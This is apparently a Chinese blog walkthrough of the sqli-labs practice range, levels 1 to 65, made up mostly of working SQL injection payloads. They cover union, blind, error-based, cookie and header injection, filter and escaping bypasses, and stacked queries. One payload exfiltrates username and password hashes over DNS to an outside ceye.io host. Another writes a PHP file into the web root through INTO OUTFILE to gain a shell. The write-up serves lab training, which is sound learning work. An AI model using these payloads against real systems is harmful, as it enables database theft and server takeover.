#sqli-labs靶场通关

less-1

根据提示需要输入一个ID和值(请输入ID作为带有数值的参数)

当输入id=1时会显示id 为1的数据。这里多演示几个对照数据库。

黑盒角度

从黑盒角度,只能去测试这个地方是否有注入点。

猜测是数字型时

and 1=1 --+ 
and 1=2 --+
原始sql查询语句为 select * from users where id=$id;
执行恶意sql语句后 select* from users where id=1 and 1=1--+;

由于原始sql语句是字符型没有闭合,发现页面没有任何回显

字符型

' and '1'='1
' and '1'='2
原始sql查询语句为 select * from users where id='$id';
执行恶意sql语句后 select* from users where id='1'and '1'='2';

页面回显不同

白盒角度

白盒角度通过代码去确认是否存在sql注入

定义了一个变量id用get类型去接受,并没有去做任何过滤直接带去sql语句中去查询(变量id是字符类型)。导致用户可以去输入恶意语句

开始注入

由于在源码中发现打印了mysql 报错信息说明可以进行报错注入

联合注入

测试表的字段数

1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 正常
1' order by 4--+ 报错

说明字段数为3

另一种字段查询方式

1' union select null--+
1' union select null,null--+
1' union select null,null,null--+
添加到正常显示数据为止,可以确定字段数为3

由于union 查询,要求select 具有相同的列数可以用null去填充,当填充列数与前一条select列数相同时才会返回数据。

这也就是为什么联合查询要输入那么多的数字。要求于前一条列数保持一致

当列数确定后就需要去看哪些数字可以回显数据。

1' union select 1,2,3--+  # 当这样去写会发现无法显示,可以去输入一个不存在的值让他去回显。

如上图所示2,3回显了数据。

查询当前数据的名和用户

-1’ union select 1,database(),user()--+

数据库名为security 用户名为 root

查询当前数据库的所有库

-1' union select 1,group_concat(schema_name),3  from  information_schema.schemata--+

所有的库

与数据库对比是否一致

查询表

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()  --+

查询字段

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and  table_name='users' --+

查询users 这个表的字段

查询字段内容

-1' union select 1,username,password from security.users --+

less-2

测试注入类型

' and '1'='1
' and '1'='2

当输入字符型第一条测试语句时就出现了mysql 语法错误。说明是数字型注入

确认字段数

1 and order by 3 --+
1 and order by 4 --+ 显示不正常 #字段数为3
-1 and union select 1,2,3 --+  回显为2,3

以下操作和第一关一样 唯一区别是数字型

less-3

测试类型

1' and '1'='1
1' and '1'='2

发现页面回显不同,存在注入

查看回显位置

-1' union select 1,2,3--+ 

发生报错

源码查看

发现变量是(‘’) 这种形式 但我们上面的sql 测试语句任然生效

SELECT * FROM users WHERE id=('$id')
SELECT * FROM users WHERE id=('1' and '1'='1')
SELECT * FROM users WHERE id=('1' and '1'='2')

只闭合了单引号没有闭合括号。

闭合(‘’) 查看回显

-1') union select 1,2,3--+

以下步骤只需要闭合 然后使用之前的联合查询操作即可

less-4

像之前一样测试发现没有任何回显,只能查看源码

源码查看

发现变量id先被拼接”” 在被带入sql 语句中

知道后可以进行闭合让后注入

-1") union select 1,2,3--+

然后基本的联合注入

less-5

1' and 1=1--+
1' and 1=2--+

页面回显不同存在注入 , 布尔盲注.

条件为真时返回 you are in…..

条件为假时不返回任何东西

源码

执行sql 语句后并没有输出结果。但由于这里打印了报错信息(mysql_error)说明可以进行报错注入

布尔盲注

先从数据库名方向入手。

1.确定数据库名的长度、(为了测试简单不进行猜测) 库名为: security

1' and length(database())=7 --+ 判断数据库长度是否为7
1' and length(database())=8 --+ 判断数据库长度是否为8

由上图可知数据库长度为8

知道数据库名长度后就要去猜测数据库名

数据库名猜测

1' and  ascii(substring( databse(),1,1))=114--+  # 正常猜解数据库名应该使用大于号小于号去猜测大概的范围,然后去确定。这里为了偷懒直接演示正确与不正确的回显
1' and ascii(substring(databse(),1,1))=115--+ # s=115

进行一个个猜解即可。数据库名为: security

表的猜测

1.我们需要知道security数据库下有多个表

1'  and (select count(table_name) from information_schema.tables where table_schema=database()) <10--+

返回为真,表的数据少于10个

1'  and (select count(table_name) from information_schema.tables where table_schema=database()) <4--+

返回为假说明表的数据不少于4个

查看数据库表为4个

表的个数确定了开始确定表名长度。

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 #

查询第一个表名的长度,由上图所示 长度不可能大于10所以。返回为假。然后依次类推去猜测每个表的长度

确定表名

1' and  ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

e的acsii码为101 所以返回为真 继续猜解直到表名为 emalis

确定表中的列数个数。

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emalis')>10 --+

表中列数为2

获取第一个列名的长度

1' and length((select column_name from information_schema.columns where table_name= 'users' limit 0,1))>2--+

猜解即可

获取第一个列名的值

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=105--+
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=100--+

列名为id

第二个列名的值

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=101--+
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=109--+

第二个列名的值为emali_id

知道了列名开始确认字段类容的长度

id 字段内容的长度

1' and length((select id from emails limit 0,1) )=1--+
1' and length((select id from emails limit 1,1) )=2--+

email_id 字段类容长度

1' and length((select email_id from emails limit 0,1) )=16--+
1' and length((select email_id from emails limit 2,1) )=19--+

字段内容确认后开始获取字段内容的值

1' and ascii(substr((select id from emails limit 0,1),1,1))=49 --+

49对应的ascii 码为1

1' and ascii(substr((select email_id from emails limit 0,1),1,1))=68 --+

查询emalis 表 emali_id 字段内容的第一个值

ps: 以上步骤可以借助burp 进行猜解

借助burp布尔盲注

假设数据库名和第一个表名长度已被已被猜解出来,开始猜解表名。

把拦截的数据发送给intruder

攻击模式选择 clusert bomb 设置两个变量

第一个框是用来控制字符后移。第二个控制ascii值

对应的便是第一个表名 emails

  • cluster bomb – 每个变量对应一个字典,并且进行交叉式破解,尝试各种组合。适用于用户名 + 密码的破解。

less-6

和第四关一样在传入sql 语句时加入了 “” 号 但并不会输出数据。存在盲注和布尔注入 ,时间盲注

less-7

和上一关一样,只是闭合方式不同 回显不同而已 注释掉了报错信息。无法进行报错注入

less-8

这关也是布尔盲注

less-9

查看源码后发现他注释掉了 报错函数 和 布尔盲注(回显都是 you are in )。 那只能去尝试时间盲注

判断是否存在时间盲注

原始响应时间为4

1' and if(1=1,sleep(5),0)--+

发现改变了响应时间存在时间盲注

判断数据库名的长度

数据库长度为8

知道数据库的长度 开始猜解数据库的名 配合burp

1' and if((ascii(substr(database(),1,1)))=115,sleep(10),0)--+

把payload1 从一到8 组合起来

115=s
101=e
99=c
117=u
114=r
105=i
116=t
121=y
securit

由于是时间盲注无法根据长度判断。需要开启Response completed(响应已完成)和Response receive(已接收到响应)

  1. **Response received (已接收到响应)**:这表示 Burp Suite 已经收到了服务器对发送的请求的响应。这个阶段发生在服务器已经开始发送响应但还没有完全完成时。
  2. **Response completed (响应已完成)**:这表示服务器已经完全发送了响应,并且整个响应已经被接收完毕。这个阶段发生在服务器已经发送完整个响应并且 Burp Suite 已经成功接收到了所有数据。

只能看响应数比较大的几个值

猜解表和字段也是类似的操作

less-10

这关也是时间盲注 只需要闭合“ 即可

less-11

请求方式为post,注入方式还是存在

联合注入

or: 一边为真 条件为真。

1' or '1'='1'# 显示正常
1' or '1'='2'# 不显示

判断字段数

表的字段数为2

查询当前库的表

uname=1' union select 1,group_concat(table_name) from information_schema.tables        where table_schema=database()  #&passwd=1&submit=Submit

和之前的联合注入一样

less-12

post 注入 闭合 变量执行sql 语句前 添加了**”** 闭合 ”)

uname=1") or "1"="1"#&passwd&submit=Submit 
uname=2") or "1"="1"#&passwd&submit=Submit

和11关一样

less-13

注释了 很多东西 闭合**’)**

打印了报错信息可以使用报错注入

报错注入使用extractvalue函数 updatexml函数

查看当前数据库名

uname=1') or extractvalue(1,concat(0x7e,(select database())))#&passwd=&submit=Submit

查看表名

uname=1') or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&passwd=&submit=Submit

注:此处使用group_concat()函数进行输出,否则会出现错误。

查看users 表的字段

uname=1') or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))#&passwd=&submit=Submit

查看字段内容

uname=1') or extractvalue(1,(select group_concat(id,0x7e,username,0x7e,password) from security.users))#&passwd=&submit=Submit

less-14

根据源码需要闭合**”** 报错注入

less-15

需要闭合**’**,打印报错信息也被注释掉了,时间盲注 布尔盲注

less-16

和15关一样 时间盲注和布尔注入

less-17

先分析源码 用post 接受 unmae passwd 变量的值。然后把name 值带入到了 check_input函数中

这个函数 先判断是否为空值,若不为空值开始使用substr 函数从0到15截取值。然后在用get_magic_quotes_gpc ,是否开启magic_quotes_gpc(magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理)。有的话就用 stripslashes 函数去掉转义符,否侧会发生双重转义。第三判断检测用户是否有数字,如果没有就使用mysql_real_escape_string() 函数转义字符。反之把值转为整形。

可以看出是个 过滤函数

然后执行了一条sql语句,从users 表中查询 username,password 字段的内容 条件username 要等于数据库中的用户名。正常来说这应该是sql 注入漏洞。但由于username 变量的值 被转义处理过了。 username 中不存在sql 注入。

再往下看,他sql 语句执行成功后, 使用了更新语句去重新设置了password 的值 ,条件是存在的用户名。说明是个密码重置功能。然后这个password 并没有进行转义。下面的代码中还打印了mysql 报错信息。使用报错注入。

password 字段报错注入

admin 用户是存在的。使用这个进行报错注入。

uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(database()),0x7e))#3&submit=Submit

less-18

用**$_server[‘http_user_agent’]** 去接受用户的代理设置。

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

$_SERVER[‘REMOTE_ADDR’] 获取用户的真实ip

$_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
$_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
$_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造

从源码中可知,uname,passwd 被过滤掉了。

后面执行了一段插入语句把 $uafent 和 $ip 的值插入到数据库中,执行插入语句并输出了 这个用户代理的变量

那么 user_agent 是可以通过 burp 更改的,后面还打印报错信息。说明可以进行报错注入。但是第一条件为真,才能执行后面的插入语句,说明我们需要先登陆进去。

使用admin admin 登陆进去后,打印了用户代理

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname) #原始sql语句
' or updatexml(1,concat(0x7e,(database())),1) or '1'=' 后面使用 or '1'='1 是为了闭合 后面的单引号
INSERT INTO `security`.`uagents` (''or updatexml(1,concat(0x7e,(databse())),1) or '1'='1', `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

另一种闭合方式  ' or updatexml(1,concat(0x7e,(database())),1),'','')#

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'','')#

ps:闭合方式不同,但表 库 的操作是一样的。

sqlmap - user angent注入

1.把数据包保存在一个txt 用* 指定测试的位置

sqlmap -r 1.txt

2.使用 –level 参数

当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数
当–level参数设定为3或者3以上的时候,会尝试对User-Angent,referer进行注入

less-19

使用$_SERVER[REFERER] 去接受用户的来源地址 ,并赋值给$uagent。成功之后使用插入语句 把来源地址,ip插入到referers表中

这和上一关一样,区别就是这关是feferers注入,上一关是user-angent 注入。同样是报错注入一样的闭合。

less-20

第一个图片代码先设置了cookie 第二个判断是submit是否提交如果,尚未提交执行代码块。并把 cookie 带入数据库中查询。存在sql注入

也就是cookie 注入

Cookie: uname=admin' or extractvalue(1,concat(0x7e,(select database())))#; 

高级注入

less-21

和less-20 一样是cookie注入, 不过把cookie变量进行了base64编码。

闭合**’)**,把payload 进行base64 编码即可。

less-22

和上两关一样,进行编码和解码。然后cookie在加入sql 语句前加了双引号,闭合**”**

less-23

preg_replace 函数执行一个正则表达式的搜索和替换。

这里是搜索到# – 就把他替换为空。过滤掉了

sql语句还是字符型。闭合**’**.需要绕过注释符

可以用 and 或者 or 闭合 后面的’

也可以用

1' union select null,null,null and '1'='1
SELECT * FROM users WHERE id='$id' 原始语句
-1' union select 1,2,3 and '1'='1
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1'

就是和第一关一样的步骤了

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()  ),3  and '1'='1  #查表 

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name='users'),3  and '1'='1  #查字段

-1' union select 1,(select group_concat(username) from users),3  and '1'='1  # 内容
-1' union select 1,(select group_concat(password) from users),3 and '1'='1

ps: 还可以使用%00截断

less-24

二次注入 参考https://94248.github.io/2023/04/15/sql%E6%B3%A8%E5%85%A5-%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5/

国光大佬的https://www.sqlsec.com/2020/05/sqlilabs.html#%E6%AD%A5%E9%AA%A4%E6%BC%94%E7%A4%BA

less-25

过滤了 and 和 or 符号

可以双写绕过。符号替换

and -> &&
or -> ||

因为只过滤了and 和 or 所以之后就是常规的联合注入

less-25a

和上一题一样过滤了 and or 可以双写绕过。数字型

less-26

过滤了 or and /**/ – # / 和空格

or  and 1.可以使用双写 oorr aandnd  2. &&-> and -> %26    ||--> or 
注释符把后面闭合
空格: 如下替换
%09 TAB 键 (水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键 (垂直)
%a0 空格
%0A

ps: windows 环境中无法使用特殊字符去代替。linux 环境中可以

联合注入无法使用只能使用报错注入

1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

image-20240327230002462

也可以使用布尔盲注

1'%26%26length(database())=8%26%26'1'='1

less-26a

和上关一样,闭合方式不同。可以使用布尔盲注

1')%26%26length(database())>7%26%26('1

less-27

27关过滤如上,过滤了union select 大小写。不过这里好像过滤了两次select。

绕过思路

大小组合写绕过
select 三写

布尔注入

1'%0Aand%0Alength(database())>7%0Aand'1'='1

报错注入

1'%0Aand%0Aupdatexml(1,concat(0x7e,database(),0x7e),1)and%0A'1'='1

less-27a

需要闭合**”**,其他绕过思路和上一关一样

999"%0AUNIon%0ASELEct%0A1,database(),3%0Aand"1"="1

less-28

过滤了 相连接的union select。

可以使用双写绕过

999')%0Aununion%0Aselection%0Aselect%0A1,database(),3%0A||%0A('1')=('1

less-28a

这关只过滤了,union select 相连

999')%0Aununion%0Aselection%0Aselect%0A1,database(),3--+

less-29

前置知识

http参数污染

HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。

不同的服务器处理多个参数的方式不同。

这里使用的php/apache 组合的靶场,使用多个参数取后端服务器取最后的值

或者去看

http参数污染可以使用组合其他漏洞。也可以用于绕过waf

29关的靶场有三个文件。实际用的到只有两个文件(login.php hacked.php)

需要关注的如上画框的两个函数

把输入带有&参数用explode 进行分割成数组。然后循环遍历取数组值。取第一个数组前两位(id) 判断为id 后从第三位开始取值

这里模仿的是一个中间件服务器。最终的数据交给后端处理,取num=2后面的值

使用正侧匹配过滤用户的输入。

这题绕过的思路使用http 参数污染。输入多个值,最终会处理最后的值。

之后的步骤就是联合注入

less-30

和29关一样的思路 闭合**”**就行

less-31

一样的思路闭合”)

less-32

宽字节注入

有时为了用户输入的数据是安全的会对数据进行转义 如加上\ 。 列如sql注入就无法完成了。

绕过方法:

1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass

将输入的值进行转义

这关使用第一个方法进行绕过

less-33

33关不再使用自定义函数进行转义,而是使用addslashes函数

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

也可以使用%df 进行绕过

-1%df%27 union select 1,database(),3--+

lesss-34

由get的方式变为了post 但任然可以使用%df 进行绕过

admin%df' union select 1,database()

ps:

MySQL 注入天书这里介绍了一个新的方法

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为�

我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'

less-35

这关对输入的数据进行了转义,但是拼接的方式是数字型。正常注入即可

less-36

这关考的也是一个转义函数

mysql_real_escape_string() 
危险字符 转义后
\ \\
' \'
" \"

用之前的方法也可绕过

-1%df%27 union select 1,database(),3--+

less-37

用post 的方式去接受两个变量的值 用转义函数进行处理

admin%df%27 union select 1,database()--+

绕过方式还是一样的

注入天书:使用 addslashes (), 我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞

堆叠注入(38-53)

less-38

查询的sql 语句使用的 mysqli_multi_query. 使用这个函数可以查询多个sql 语句。这也是堆叠注入的主要原因。堆叠注入必须知道表名列名,等条件。

使用堆叠注入进行增,删,改 ,查等操作

?id=1';insert into users(username,password) values ('hello','world');

dnslog数据外带

需要条件:(直接复制国光大佬的)

  1. MySQL 开启 load_file ()
  2. DNSLog 平台 (HyugaCEYE
  3. Windows 平台

load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。

其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式

CODE
\\192.168.31.53\test\

CONCAT() 函数拼接了 4 个 \ 了,因为转义的原因,4 个就变 \ 成了 2 个 \,目的就是利用 UNC 路径。

因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。

下面国光临时使用 Windows 下的 PHPStudy 来搭建 sqli-labs 测试环境:

PAYLOAD
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。

less-39

和上一关一样的堆叠注入。数字型注入

1;insert into users(username,password) values ('x','y');

ps: 查询语句函数发生了 变化 但任然可以进行。联合注入,布尔盲注等操作

less-40

闭合方式不同,还是堆叠注入,联合注入,报错注入

1');insert into users(id,username,password) values('17','aaa','bbb'); 

less-41

联合、布尔盲注、延时盲注、堆叠注入。

less-42

login.php 中password 字段中存在报错注入

更新语句存在二次注入

less-43

上一关一样password 没有经过处理存在注入点

1')and updatexml(1,concat(0x7e,database(),0x7e),1)#

less-44

请求方式 注入类型 拼接方式
POST 联合、布尔盲注、延时盲注、堆叠注入 username='$username'

less-45

采用’) 进行闭合 缺少了报错注入。

less-46

order by 注入

sql 语句变成排序语句。get 方式接受sort 的一个参数。

在order by 中有升序和降序两种验证方式

进行验证

升序

降序

变量用户可控存在注入

union 语句无法使用在order by 后面使用。

mysql 注入天书中 提到两种方式

1.直接添加注入语句,?sort=(select ******)
2.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
Ps:此处我们可以展示一下 rand(ture)和 rand(false)的结果是不一样的

先是第一种

报错注入

?sort=(updatexml(1,concat(0x7e,database(),0x7e),1))

第二种利用 rand()函数

rand(true) 的页面

rand(false) 的页面

两种不同的回显可以使用布尔盲注和时间注入

布尔盲注

?sort=rand(ascii(substr(database(),1,1))=115)

时间盲注

?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))

利用 order by 进行getshell

将查询结果导入到文件中

SQL
?sort=1 into outfile "/var/www/html/less46.txt"

如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。

访问验证是否有信息:

BASH$ curl http://127.0.0.1:8888/less46.txt
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4

利用导出文件 getshell

注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:

Payload

PAYLOAD
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

**ps:**procedure analyse 参数后注入 利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 orde r by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。 以下为示范例

http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),con cat(0x3a,version())),1

less-47

闭合方式不同

报错、布尔盲注、延时盲注

?sort=1'and rand(ascii(left(database(),1))=115)--+

报错注入

0' or updatexml(1,concat('~',(select(group_concat(id,username,password))from(users))),0)%23

less-48

和46关一样。缺少报错注入

使用布尔盲注、延时盲注

less-49

延迟注入

' or%20 if(length(database())>8,sleep(5),0)--+

less-50

这关的查询函数,可以执行多个sql语句。存在堆叠注入。可以参考之前的堆叠注入

less-51

闭合’ 存在堆叠注入。

less-52

http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users

堆叠注入

less-53

堆叠注入

http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+

进阶注入

less-54

后面的主要考验前面所学的东西,在他限定的次数中得到key。这关限制十次注入。(表名,key会随机生成)

1' and '1'='1
1' and '1'='2
1' order by 4#
1' order by 3#

-1' union select  1,database(),3--+ // 库名 challenges

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
// 表名 qxebwdtui1

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='qxebwdtui1'--+ // 字段名  id,sessid,secret_5EA4,tryy

ke 值在 secrte_5EA4 中
-1' union select 1,group_concat(secret_5EA4),3  from   challenges.qxebwdtui1--+ // 查询字段内容 izeyMpFmPMooZwX92v4Qtc5z

提交,提示成功

less-55

和54关一样需要闭合 )

-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ //wcmq4wkfd7

less-56

54关一样需要闭合’)

-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ 

less-57

54关一样,需要闭合”

-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ 

less-58

58关查询的数据都是定义在数组中的值,并不是返回数据库中的值。联合注入就无法实现,但是下面了打印了报错语句说明可以使用报错注入。

1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

less-59

和上一关一样。整数型注入 不需要闭合

1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

less-60

同58关,闭合 ”)

1") or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

less-61

同58关,闭合’))

1')) or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

less-62

这关注释掉了 打印报错的语句。那么只能使用布尔盲注,或延迟注入

闭合’)

借助burp 来完成或sqlmap

less-63

同62延迟注入。闭合单引号

less-64

同62 延迟注入 闭合 ))

less-65

同62 延迟注入 闭合”)